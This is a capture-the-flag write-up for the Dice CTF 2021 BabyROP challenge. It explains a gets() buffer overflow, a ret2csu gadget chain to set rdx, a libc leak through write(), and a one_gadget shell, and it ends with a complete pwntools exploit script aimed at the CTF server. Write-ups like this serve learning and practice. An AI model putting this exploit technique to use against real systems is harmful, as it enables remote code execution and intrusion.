Dice CTF BabyROP challenge write-up

Feb. 7, 2021 // echel0n

Dice CTF BabyROP Challenge

Hello guys! In this blog, I will explain my ROP chain to get the flag of this task. The chain is really tricky for a baby challenge. (at least for me) (this write-up was a draft in 7 feb, not published until 8)



Challenge description

FizzBuzz101: Who wants to write a ret2libc



Firstly, let's look at the challenge binary checksec output.

  1. $ pwn checksec babyrop
  2. [*] '/home/ctf/dice/rop/babyrop'
  3. Arch: amd64-64-little
  4. RELRO: Partial RELRO
  5. Stack: No canary found
  6. NX: NX enabled
  7. PIE: No PIE (0x400000)

The meanings are;
Do not need to leak canary value (No canary found).
Cannot execute our payload (NX enabled).
Can put some hard coded addresses in our payload because PIE does not exist.

The Action

With the help of r2-ghidradec, let's examine our binary's main to understand and decide what to do.

  1. [0x00401050]> pdg @@ sym.main
  2. undefined8 main(void)
  3. {
  4. char *s;
  5. sym.imp.write(1, "Your name: ", 0xb);
  6. sym.imp.gets(&s);
  7. return 0;
  8. }
  9. [0x00401050]>

It is a really simple main and really understandable. (Is this the reason why it's named 'baby'? idk.)
At this step, i would like to know how much bytes needed to overwrite main's return address and get the control flow of binary. To figure out this, we can send a payload created with pwn.cylic(some_integer) then check $rsp at main return line or we can directly check with objdump, especially in this example, it will be really easy to understand.

  1. 0000000000401136 main:
  2. 401136: 55 push rbp
  3. 401137: 48 89 e5 mov rbp,rsp
  4. 40113a: 48 83 ec 40 sub rsp,0x40
  5. 40113e: ba 0b 00 00 00 mov edx,0xb
  6. 401143: 48 8d 35 ba 0e 00 00 lea rsi,[rip+0xeba] # 402004 _IO_stdin_used+0x4
  7. 40114a: bf 01 00 00 00 mov edi,0x1
  8. 40114f: e8 dc fe ff ff call 401030 write@plt
  9. 401154: 48 8d 45 c0 lea rax,[rbp-0x40]
  10. 401158: 48 89 c7 mov rdi,rax
  11. 40115b: b8 00 00 00 00 mov eax,0x0
  12. 401160: e8 db fe ff ff call 401040 gets@plt
  13. 401165: b8 00 00 00 00 mov eax,0x0
  14. 40116a: c9 leave
  15. 40116b: c3 ret
  16. 40116c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]

The buffer size can be seen at 0x401154, it is allocating 0x40(64) bytes for buffer.
This means we can put our first wanted address at 72. (buffer_size(64) + rbp(8))

At this point, we need to think about what we know, what we need, what we can, how we can.
The answers are:
1. We know;
  a. The addresses of this executable wont change.
2. We need;
  a. To know LIBC version
  b. LIBC base address
  c. Some gadgets
3. We can;
  a. Use only write() GOT and PLT addresses
4. How we can;
  a. With the help of write(), we can get a leak from libc (GOT)
  b. After leaking libc address, will get back to another gets() call to get a shell.

Finding gadgets

With the help of ropper tool, we can easily find needed gadgets.
We will get our libc leak with write(). Write uses rdi, rsi and rdx registers.
pop rdi; ret; gadget is at 0x4011D3
pop rsi; pop r15; ret; is at 0x4011D1
But WHAT? ᵀᴴᴱᴿᴱ ᴵˢ ᴺᴼ ᴾᴼᴾ ᴿᴰˣ; ᴿᴱᵀ; ᴳᴬᴰᴳᴱᵀ

Change me harder daddy

After realizing that there is no pop rdx gadget, i lost in finding an address that changes rdx register.
If we do not set rdx register, when we call write(), it won't work how we want.
The only solution I found is this line:

  1. 0x4011b0 __libc_csu_init+64 mov rdx, r14

We can change rdx register but what cost?

When we return this address, it won't execute only this address and return another line, it will also do this and return;

  1. 4011b0: 4c 89 f2 mov rdx,r14
  2. 4011b3: 4c 89 ee mov rsi,r13
  3. 4011b6: 44 89 e7 mov edi,r12d
  4. 4011b9: 41 ff 14 df call QWORD PTR [r15+rbx*8]
  5. 4011bd: 48 83 c3 01 add rbx,0x1
  6. 4011c1: 48 39 dd cmp rbp,rbx
  7. 4011c4: 75 ea jne 4011b0 __libc_csu_init+0x40
  8. 4011c6: 48 83 c4 08 add rsp,0x8
  9. 4011ca: 5b pop rbx
  10. 4011cb: 5d pop rbp
  11. 4011cc: 41 5c pop r12
  12. 4011ce: 41 5d pop r13
  13. 4011d0: 41 5e pop r14
  14. 4011d2: 41 5f pop r15
  15. 4011d4: c3 ret

Are you still here?

If you are still reading this, good. Get ready to feel nauseous.
This lines mean a lot. A lot register work is waiting for us.
We cannot change rdx register directly, we have to set r14 register before to get here. Also it will call [r15+rbx*8] and do something then it will compare rbp and rbx registers, if not equal it will jump somewhere we do not know, also we have to set rbx and rbp values to pass this jump. In conclusion, before get here, we have to set r15, r14, r13, r12, rbx and rbp and put something additional onto stack because of add rsp,0x8 thing. We can start this journey at especially 0x4011ca address because of a lot of popping values to registers. Also if we can set our registers at 0x4011b9 line correctly, we can also call write() function to leak our libc address then return to _start to clean all this mess. At this point, we got our libc leak and got our second chance to send another payload with the one gadget magic.
One more problem is still here. What is the libc version of remote server, how will we know that?
It is okay, after getting write() function libc leak, we can compare write() offset to learn about remote server's libc version.
In this example, it was libc 2.31. Here is the full exploit code that gave me the reverse shell. Also, you will see some explanation of it.

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # This exploit template was generated via:
  4. # $ pwn template babyrop
  5. from pwn import *
  6. # Set up pwntools for the correct architecture
  7. exe = context.binary = ELF("babyrop")
  8. # terminal
  9. context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
  10. # Many built-in settings can be controlled on the command-line and show up
  11. # in "args". For example, to dump all data sent/received, and disable ASLR
  12. # for all created processes...
  13. # ./exploit.py DEBUG NOASLR
  14. # libc.231, after getting leak, it is known.
  15. libc = ELF("./libc-2.31.so")
  16. def start(argv=[], *a, **kw):
  17. """Start the exploit against the target."""
  18. if args.GDB:
  19. return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  20. else:
  21. return process([exe.path] + argv, *a, **kw)
  22. # Specify your GDB script here for debugging
  23. # GDB will be launched if the exploit is run via e.g.
  24. # ./exploit.py GDB
  25. gdbscript = """
  26. tbreak main
  27. continue
  28. """.format(
  29. **locals()
  30. )
  31. # Arch: amd64-64-little
  32. # RELRO: Partial RELRO
  33. # Stack: No canary found
  34. # NX: NX enabled
  35. # PIE: No PIE (0x400000)
  36. def pprint(output):
  37. print(output.decode("utf-8", "backslashreplace"))
  38. def create_payload():
  39. """
  40. 0x4011ca __libc_csu_init+90 pop rbx
  41. 0x4011cb __libc_csu_init+91 pop rbp
  42. 0x4011cc __libc_csu_init+92 pop r12
  43. 0x4011ce __libc_csu_init+94 pop r13
  44. 0x4011d0 __libc_csu_init+96 pop r14
  45. 0x4011d2 __libc_csu_init+98 pop r15
  46. 0x4011d4 __libc_csu_init+100 ret
  47. """
  48. """
  49. 0x4011b0 __libc_csu_init+64 mov rdx, r14
  50. 0x4011b3 __libc_csu_init+67 mov rsi, r13
  51. 0x4011b6 __libc_csu_init+70 mov edi, r12d
  52. 0x4011b9 __libc_csu_init+73 call qword ptr [r15 + rbx*8]
  53. """
  54. """
  55. 4011c6: 48 83 c4 08 add rsp,0x8
  56. 4011ca: 5b pop rbx
  57. 4011cb: 5d pop rbp
  58. 4011cc: 41 5c pop r12
  59. 4011ce: 41 5d pop r13
  60. 4011d0: 41 5e pop r14
  61. 4011d2: 41 5f pop r15
  62. """
  63. """
  64. call gets@plt gets@plt
  65. rdi: 0x7fffffffe710
  66. rsi: 0x402004
  67. rdx: 0xb
  68. rcx: 0x7ffff7ec8f67
  69. """
  70. BUF_SIZE = 72
  71. WRITE_PLT = p64(0x000000000401030)
  72. WRITE_GOT = p64(exe.got["write"])
  73. junk = b"\x41" * BUF_SIZE
  74. # 0x00000000004011d1 pop rsi; pop r15; ret;
  75. POP_RSI = p64(0x00000000004011D1)
  76. POP_RDI = p64(0x00000000004011D3)
  77. payload = (
  78. junk
  79. + p64(0x4011CA)
  80. + p64(0x0) # RBX VALUE must be 0
  81. + p64(0x1) # pop rbp
  82. + p64(0x1) # r12 value
  83. + WRITE_GOT # r13 value
  84. + p64(0x8) # r14 value == rdx
  85. + WRITE_GOT # r15 call(r15) careful! write()?
  86. + POP_RSI
  87. + WRITE_GOT
  88. + WRITE_GOT # pop r15
  89. + POP_RDI
  90. + p64(0x1) # WRITE TO STDOUT
  91. + p64(0x4011B0) # back to rdx
  92. + p64(0x48) # rbx again
  93. + p64(0x401170) # fix rbp pls
  94. + p64(0x1) # r12
  95. + p64(0x1) # r13
  96. + p64(0x1) # r14
  97. + p64(0x1) # r15
  98. + p64(0x414141) # junk rsp+8
  99. + p64(0x0000000000401050) # we came here so far, restart the binary again return to _start
  100. )
  101. return payload
  102. def prepare_to_get_shell(p: remote):
  103. # 0xe6e79 execve("/bin/sh", rsi, rdx)
  104. # constraints:
  105. # [rsi] == NULL || rsi == NULL
  106. # [rdx] == NULL || rdx == NULL
  107. # WARNING IN LIBC VERSION 2.31 YOU HAVE TO SET RBP VALUE SOMEWHERE WRITABLE
  108. # THE ONE_GADGET TOOL IS NOT GOING TO SAY IT!
  109. ONE_GADGET = int(libc.address) + 0xE6E79
  110. log.info(f"one gadget addr @ {hex(ONE_GADGET)}")
  111. # 0x000000000011c371: pop rdx; pop r12; ret;
  112. POP_RDX = int(libc.address) + 0x000000000011C371
  113. POP_RSI = int(libc.address) + 0x0000000000027529
  114. POP_RDI = int(libc.address) + 0x0000000000026B72
  115. SETUID = libc.sym["setuid"]
  116. rop3 = (
  117. p64(POP_RDI)
  118. + p64(0x0)
  119. + p64(SETUID)
  120. + p64(POP_RDX)
  121. + p64(0x0)
  122. + p64(0x0)
  123. + p64(POP_RSI)
  124. + p64(0x0)
  125. + p64(ONE_GADGET)
  126. )
  127. rbp = int(libc.address) + 0x1EF000
  128. get_shell(p, rbp, rop3)
  129. def get_shell(r: remote, rbp, payload):
  130. buffer_size = 72 - 8
  131. buffer = b"\x40" * buffer_size
  132. rop1 = buffer + p64(rbp) + payload
  133. r.sendline(rop1)
  134. r.interactive()
  135. r.close()
  136. def main():
  137. RSERVER = "dicec.tf"
  138. RPORT = 31924
  139. LOCAL = False
  140. if LOCAL:
  141. p = start()
  142. else:
  143. p = remote(RSERVER, RPORT)
  144. payload = create_payload()
  145. p.recvuntil("Your name: ")
  146. p.clean() # clean up
  147. p.sendline(payload)
  148. p.clean() # clean up idk if its necessary
  149. libc_leak = u64(p.recv(8).ljust(8, b"\x00"))
  150. libc.address = libc_leak - libc.symbols["write"]
  151. log.info(f"write at @ {hex(libc_leak)}")
  152. log.info(f"libc base @ {hex(libc.address)}")
  153. # after leak check libc database to know which libc is used by the binary.
  154. # https://libc.blukat.me/?q=write%3Af50
  155. """
  156. for me (f50):
  157. libc-2.32-1-x86_64
  158. libc-2.32-2-x86_64
  159. libc-2.32-3-x86_64
  160. libc-2.32-4-x86_64
  161. libc-2.32-5-x86_64
  162. for remote (1d0):
  163. libc-2.29-20.mga7.x86_64
  164. libc6_2.31-0ubuntu9.1_amd64
  165. libc6_2.31-0ubuntu9.2_amd64
  166. then i assumed that its ubuntu 20.04
  167. """
  168. prepare_to_get_shell(p)
  169. if __name__ == "__main__":
  170. main()

Thank you for reading my write-up! Have a nice day absolute legends!